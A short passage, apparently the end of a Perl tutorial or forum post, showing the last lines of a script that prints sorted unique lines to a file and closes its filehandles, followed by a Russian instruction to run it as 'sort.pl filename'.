    print f3 sort @uniq;
    close(f1);
    close(f3);
    
    Запускаем: "sort.pl filename"